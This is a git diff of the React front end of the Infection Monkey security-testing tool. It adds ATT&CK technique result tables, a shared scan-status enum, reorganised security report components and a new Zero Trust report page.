accessor: x => renderMachineFromSystemData(x.machine), + style: { 'whiteSpace': 'unset' }, + width: 300}, + {Header: 'Usage', + id: 'usage', + accessor: x => x.usage, + style: { 'whiteSpace': 'unset' }}] + }])} + +/* Renders table fields that contains 'used' boolean value and 'name' string value. +'Used' value determines if 'name' value will be shown. + */ +export function renderUsageFields(usages){ + let output = []; + usages.forEach(function(usage){ + if(usage['used']){ + output.push(
    {usage['name']}
    ) + } + }); + return (
    {output}
    ); + } + +export const ScanStatus = { + UNSCANNED: 0, + SCANNED: 1, + USED: 2 +}; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js index d7783714a..24d742c14 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1003.js @@ -1,7 +1,8 @@ import React from 'react'; import '../../../styles/Collapse.scss' -import '../../report-components/StolenPasswords' -import StolenPasswordsComponent from "../../report-components/StolenPasswords"; +import '../../report-components/security/StolenPasswords' +import StolenPasswordsComponent from "../../report-components/security/StolenPasswords"; +import {ScanStatus} from "./Helpers" class T1003 extends React.Component { @@ -15,7 +16,7 @@ class T1003 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === 'USED' ? + {this.props.data.status === ScanStatus.USED ? : ""}
    diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js new file mode 100644 index 000000000..6d46c2285 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -0,0 +1,38 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {renderMachineFromSystemData, ScanStatus} from "./Helpers"; + +class T1005 extends React.Component { + + constructor(props) { + super(props); + } + + static getDataColumns() { + return ([{ + Header: "Sensitive data", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }}, + {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, + ]}])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1005; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js new file mode 100644 index 000000000..63e2bb4a5 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1016.js @@ -0,0 +1,39 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" + + +class T1016 extends React.Component { + + constructor(props) { + super(props); + } + + static getNetworkInfoColumns() { + return ([{ + Header: "Network configuration info gathered", + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1016; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js new file mode 100644 index 000000000..dcf7687db --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -0,0 +1,48 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers" + + +class T1018 extends React.Component { + + constructor(props) { + super(props); + } + + static renderMachines(machines){ + let output = []; + machines.forEach(function(machine){ + output.push(renderMachine(machine)) + }); + return (
    {output}
    ); + } + + static getScanInfoColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, + {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1018; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js new file mode 100644 index 000000000..ce8688af1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, ScanStatus } from "./Helpers" + + +class T1021 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + static renderCreds(creds) { + return {creds.map(cred =>
    {cred}
    )}
    + }; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1021; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js new file mode 100644 index 000000000..7345ca497 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1035 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.services.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1035; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js new file mode 100644 index 000000000..3d6b45d08 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -0,0 +1,37 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import {ScanStatus} from "./Helpers"; + +class T1041 extends React.Component { + + constructor(props) { + super(props); + } + + static getC2Columns() { + return ([{ + Header: "Data exfiltration channels", + columns: [ + {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }}, + {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }} + ]}])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1041; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index 57d5bcb2c..4651f5c41 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1059 extends React.Component { @@ -25,7 +25,7 @@ class T1059 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === 'USED' ? + {this.props.data.status === ScanStatus.USED ? +
    {this.props.data.message}
    +
    + {this.props.data.scripts.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1064; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js index 13c1e39e2..3cd12560b 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1075 extends React.Component { @@ -34,7 +34,7 @@ class T1075 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === 'USED' ? + {this.props.data.status === ScanStatus.USED ? {collection['name']}
    ) - } - }); - return (
    {output}
    ); - } - static getSystemInfoColumns() { return ([{ columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }}, + {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }}, ] }])}; @@ -33,7 +23,7 @@ class T1082 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === 'USED' ? + {this.props.data.status === ScanStatus.USED ?
    {this.props.data.message}

    - {this.props.data.status === 'USED' ? + {this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x), + style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}]) + }; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1090; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js new file mode 100644 index 000000000..8acd48c4b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js @@ -0,0 +1,40 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { ScanStatus } from "./Helpers" + + +class T1105 extends React.Component { + + constructor(props) { + super(props); + } + + static getFilesColumns() { + return ([{ + Header: 'Files copied', + columns: [ + {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, + {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, + {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status !== ScanStatus.UNSCANNED ? + : ""} +
    + ); + } +} + +export default T1105; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js new file mode 100644 index 000000000..a3210b73c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1106 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.api_uses.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1106; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js new file mode 100644 index 000000000..d80dc3f0e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js @@ -0,0 +1,47 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" + + +class T1107 extends React.Component { + + constructor(props) { + super(props); + } + + static renderDelete(status){ + if(status === ScanStatus.USED){ + return Yes + } else { + return No + } + } + + static getDeletedFileColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }}, + {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status), + style: { 'whiteSpace': 'unset' }, width: 160}] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.deleted_files.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1107; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js index 294606d25..da9682da3 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1110 extends React.Component { @@ -32,7 +32,7 @@ class T1110 extends React.Component {
    {this.props.data.message}

    - {(this.props.data.status === 'SCANNED' || this.props.data.status === 'USED') ? + {this.props.data.status !== ScanStatus.UNSCANNED ? +
    {this.props.data.message}
    +
    + {this.props.data.dlls.length !== 0 ? + : ""} +
    + ); + } +} + +export default T1129; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js index c34f436e2..641602dc5 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData } from "./Helpers" +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" class T1145 extends React.Component { @@ -38,7 +38,7 @@ class T1145 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === 'USED' ? + {this.props.data.status === ScanStatus.USED ? renderMachineFromSystemData(x.from), + style: { 'whiteSpace': 'unset' }}, + {Header: 'To', + id: 'to', + accessor: x => renderMachineFromSystemData(x.to), + style: { 'whiteSpace': 'unset' }}, + {Header: 'Hops', + id: 'hops', + accessor: x => x.count, + style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1188; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 1b3daa86c..9b6266efa 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -12,22 +12,25 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ + Header: "Found services", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] }])} static getExploitColumns() { return ([{ + Header: "Exploited services", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, - {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, + {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, + {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }, + width: 170}, {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} ] }])}; @@ -54,7 +57,6 @@ class T1210 extends React.Component { return (

    -
    Found services:

    -
    Exploited services:
    renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, + {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + render() { + return ( +
    +
    {this.props.data.message}
    +
    + {this.props.data.status === ScanStatus.USED ? + : ""} +
    + ); + } +} + +export default T1222; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 44d5a9a2b..43dac797c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent { this.setState({PBAlinuxFile: [], PBAwinFile: []}); } - onReadFile = (event) => { + setConfigOnImport = (event) => { try { this.setState({ configuration: JSON.parse(event.target.result), lastAction: 'import_success' }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); - this.currentSection = 'basic'; this.currentFormData = {}; } catch(SyntaxError) { this.setState({lastAction: 'import_failure'}); @@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent { importConfig = (event) => { let reader = new FileReader(); - reader.onload = this.onReadFile; + reader.onload = this.setConfigOnImport; reader.readAsText(event.target.files[0]); event.target.value = null; }; @@ -494,9 +493,8 @@ class ConfigurePageComponent extends AuthComponent { } else if(this.state.selectedSection !== 'attack') { content = this.renderConfigContent(displayedSchema) } - return ( -
  • + {this.renderAttackAlertModal()}

    Monkey Configuration

    {this.renderNav()} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4d1f6d4dd..68ba84aa6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -1,20 +1,27 @@ -import React from 'react'; +import React, {Fragment} from 'react'; import {Button, Col} from 'react-bootstrap'; -import BreachedServers from 'components/report-components/BreachedServers'; -import ScannedServers from 'components/report-components/ScannedServers'; -import PostBreach from 'components/report-components/PostBreach'; +import BreachedServers from 'components/report-components/security/BreachedServers'; +import ScannedServers from 'components/report-components/security/ScannedServers'; +import PostBreach from 'components/report-components/security/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; -import StolenPasswords from 'components/report-components/StolenPasswords'; -import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; +import StolenPasswords from 'components/report-components/security/StolenPasswords'; +import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; import PassTheHashMapPageComponent from "./PassTheHashMapPage"; -import StrongUsers from "components/report-components/StrongUsers"; -import AttackReport from "components/report-components/AttackReport"; +import StrongUsers from "components/report-components/security/StrongUsers"; +import AttackReport from "components/report-components/security/AttackReport"; +import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; +import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; +import ReportLoader from "../report-components/common/ReportLoader"; +import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; +import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; +import PrintReportButton from "../report-components/common/PrintReportButton"; +import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); -let monkeyLogoImage = require('../../images/monkey-icon.svg'); + class ReportPageComponent extends AuthComponent { @@ -66,18 +73,11 @@ class ReportPageComponent extends AuthComponent { render() { let content; - if (Object.keys(this.state.report).length === 0) { - if (this.state.runStarted) { - content = (

    Generating Report...

    ); - } else { - content = -

    - - You have to run a monkey before generating a report! -

    ; - } - } else { + + if (this.state.runStarted) { content = this.generateReportContent(); + } else { + content = ; } return ( @@ -90,15 +90,15 @@ class ReportPageComponent extends AuthComponent { ); } + stillLoadingDataFromServer() { + return Object.keys(this.state.report).length === 0; + } + updateMonkeysRunning = () => { return this.authFetch('/api') .then(res => res.json()) .then(res => { - // This check is used to prevent unnecessary re-rendering - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), - runStarted: res['completed_steps']['run_monkey'] - }); + this.setState(extractExecutionStatusFromServerResponse(res)); return res; }); }; @@ -117,7 +117,7 @@ class ReportPageComponent extends AuthComponent { getReportFromServer(res) { if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/report') + this.authFetch('/api/report/security') .then(res => res.json()) .then(res => { this.setState({ @@ -128,49 +128,36 @@ class ReportPageComponent extends AuthComponent { } generateReportContent() { + let content; + + if (this.stillLoadingDataFromServer()) { + content = ; + } else { + content = +
    + {this.generateReportOverviewSection()} + {this.generateReportFindingsSection()} + {this.generateReportRecommendationsSection()} + {this.generateReportGlanceSection()} + {this.generateAttackSection()} + {this.generateReportFooter()} +
    ; + } + return ( -
    -
    - + +
    + {print();}} />
    - {this.generateReportHeader()} +
    - {this.generateReportOverviewSection()} - {this.generateReportFindingsSection()} - {this.generateReportRecommendationsSection()} - {this.generateReportGlanceSection()} - {this.generateAttackSection()} - {this.generateReportFooter()} + {content}
    -
    - +
    + {print();}} />
    -
    - ); - } - - generateReportHeader() { - return ( -
    -
    -

    Security Report

    -

    Infection Monkey

    -
    - -
    - - - + ); } @@ -180,27 +167,8 @@ class ReportPageComponent extends AuthComponent {

    Overview

    - { - this.state.report.glance.exploited.length > 0 ? - (

    - - Critical security issues were detected! -

    ) : - (

    - - No critical security issues were detected. -

    ) - } - { - this.state.allMonkeysAreDead ? - '' - : - (

    - - Some monkeys are still running. To get the best report it's best to wait for all of them to finish - running. -

    ) - } + 0}/> + { this.state.report.glance.exploited.length > 0 ? '' @@ -665,22 +633,6 @@ class ReportPageComponent extends AuthComponent { ); } - generateRdpIssue(issue) { - return ( -
  • - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a RDP attack. -
    - The Monkey authenticated over the RDP protocol with user {issue.username} and its password. -
    -
  • - ); - } generateSambaCryIssue(issue) { return ( @@ -959,9 +911,6 @@ generateMSSQLIssue(issue) { case 'ssh_key': data = this.generateSshKeysIssue(issue); break; - case 'rdp': - data = this.generateRdpIssue(issue); - break; case 'sambacry': data = this.generateSambaCryIssue(issue); break; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js new file mode 100755 index 000000000..a0b92d9bd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -0,0 +1,134 @@ +import React, {Fragment} from 'react'; +import {Col} from 'react-bootstrap'; +import AuthComponent from '../AuthComponent'; +import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; +import ReportLoader from "../report-components/common/ReportLoader"; +import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; +import PrintReportButton from "../report-components/common/PrintReportButton"; +import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; +import SummarySection from "../report-components/zerotrust/SummarySection"; +import FindingsSection from "../report-components/zerotrust/FindingsSection"; +import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection"; + +class ZeroTrustReportPageComponent extends AuthComponent { + + constructor(props) { + super(props); + + this.state = { + allMonkeysAreDead: false, + runStarted: true + }; + } + + componentDidMount() { + this.updatePageState(); + const refreshInterval = setInterval(this.updatePageState, 8000); + this.setState( + {refreshDataIntervalHandler: refreshInterval} + ) + } + + componentWillUnmount() { + clearInterval(this.state.refreshDataIntervalHandler); + } + + updateMonkeysRunning = () => { + return this.authFetch('/api') + .then(res => res.json()) + .then(res => { + this.setState(extractExecutionStatusFromServerResponse(res)); + return res; + }); + }; + + updatePageState = () => { + this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res)); + }; + + render() { + let content; + if (this.state.runStarted) { + content = this.generateReportContent(); + } else { + content = ; + } + + return ( +
    +

    5. Zero Trust Report

    +
    + {content} +
    + + ); + } + + generateReportContent() { + let content; + + if (this.stillLoadingDataFromServer()) { + content = ; + } else { + content =
    + + + +
    ; + } + + return ( + +
    + { + print(); + }}/> +
    +
    + +
    + {content} +
    +
    + { + print(); + }}/> +
    +
    + ) + } + + stillLoadingDataFromServer() { + return typeof this.state.findings === "undefined" + || typeof this.state.pillars === "undefined" + || typeof this.state.principles === "undefined"; + } + + getZeroTrustReportFromServer() { + let res; + this.authFetch('/api/report/zero_trust/findings') + .then(res => res.json()) + .then(res => { + this.setState({ + findings: res + }); + }); + this.authFetch('/api/report/zero_trust/principles') + .then(res => res.json()) + .then(res => { + this.setState({ + principles: res + }); + }); + this.authFetch('/api/report/zero_trust/pillars') + .then(res => res.json()) + .then(res => { + this.setState({ + pillars: res + }); + }); + } +} + +export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js new file mode 100644 index 000000000..840e570d7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js @@ -0,0 +1,6 @@ +export function extractExecutionStatusFromServerResponse(res) { + return { + allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), + runStarted: res['completed_steps']['run_monkey'] + }; +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js new file mode 100644 index 000000000..7b72570fa --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js @@ -0,0 +1,21 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; + +export default class MonkeysStillAliveWarning extends Component { + render() { + return
    + { + this.props.allMonkeysAreDead ? + '' + : + (

    + + Some monkeys are still running. To get the best report it's best to wait for all of them to finish + running. +

    ) + } +
    + } +} + +MonkeysStillAliveWarning.propTypes = {allMonkeysAreDead: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js new file mode 100644 index 000000000..f1d23e302 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js @@ -0,0 +1,11 @@ +import React, {Component} from "react"; +import {NavLink} from "react-router-dom"; + +export default class MustRunMonkeyWarning extends Component { + render() { + return

    + + You have to run a monkey before generating a report! +

    + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js new file mode 100644 index 000000000..5bc6183fd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -0,0 +1,36 @@ +import React, {Component} from "react"; +import ReactTable from "react-table"; +import * as PropTypes from "prop-types"; + +class PaginatedTable extends Component { + render() { + if (this.props.data.length > 0) { + let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; + let showPagination = this.props.data.length > this.props.pageSize; + + return ( +
    + +
    + ); + } + else { + return ( +
    + ); + } + } +} + +export default PaginatedTable; + +PaginatedTable.propTypes = { + data: PropTypes.array, + columns: PropTypes.array, + pageSize: PropTypes.number, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js new file mode 100644 index 000000000..1a692bd68 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js @@ -0,0 +1,14 @@ +import React, {Component} from "react"; +import {Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class PrintReportButton extends Component { + render() { + return
    + +
    + } +} + +PrintReportButton.propTypes = {onClick: PropTypes.func}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js new file mode 100644 index 000000000..44d470f7e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -0,0 +1,45 @@ +import React, {Component} from "react"; +import {Col} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +let monkeyLogoImage = require('../../../images/monkey-icon.svg'); + +export const ReportTypes = { + zeroTrust: "Zero Trust", + security: "Security", + null: "" +}; + +export class ReportHeader extends Component { + report_type; + + render() { + return
    +
    +

    + {this.props.report_type} Report

    +

    Infection Monkey

    +
    + +
